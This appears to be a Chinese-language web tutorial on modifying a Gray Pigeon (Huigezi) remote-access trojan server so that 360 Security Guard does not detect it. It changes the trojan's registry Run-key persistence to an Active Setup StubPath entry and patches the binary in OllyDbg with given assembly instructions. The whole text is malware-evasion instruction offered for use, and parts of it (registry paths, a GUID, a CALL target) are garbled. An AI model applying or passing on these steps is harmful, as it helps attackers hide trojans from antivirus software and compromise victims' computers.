Simone灰鸽子木马过360安全卫士免提示教程
的有关信息介绍如下：
我们很多时候用灰鸽子软件做的木马容易被360杀毒软件删除或者提示，现在我教大家如何做一个免杀的木马，免杀关键是修改特征码。
生成灰鸽子木马服务器端
灰鸽子木马服务器端写入注册表内容
灰鸽子木马载入C32asm软件工具
按ctrl+F，在搜索栏中输入software\microsoft\windows\currentversion\run
这里不是我们修改的地方 点击“下一个”
我们进行修改：把software改成stubpath
选定部分（如图）填充写入software\microsoft\activesteup\installedcomponents\{926a36a-158b-047a-d148b0369c18;如图
把灰鸽子木马载入Ollydbg.exe
找到RUN启动代码修改成activeX启动
如果有人找不到的话 右键-选择 超级字符查找-选择unicode 如图2所示，
找到目标：
选定stubpath software\microsoft\active setup\installed commponets
右键 跟随
在NOP掉 部分指令
然后写入 汇编指令：
MOV ECX,0048BDF8
MOV EDX,0048BE01
MOV EAX,80000002
CALL 4
MOV EAX,DWORD PTR DS:[48E614]
CMP BYTE PTR DS:[EAX],0
JE SHORT 0048BD7E
从第一个NOP开始写起。
写完之后保存即可 。
好了，我们完美过360的鸽子已经基本成型。。。
测试
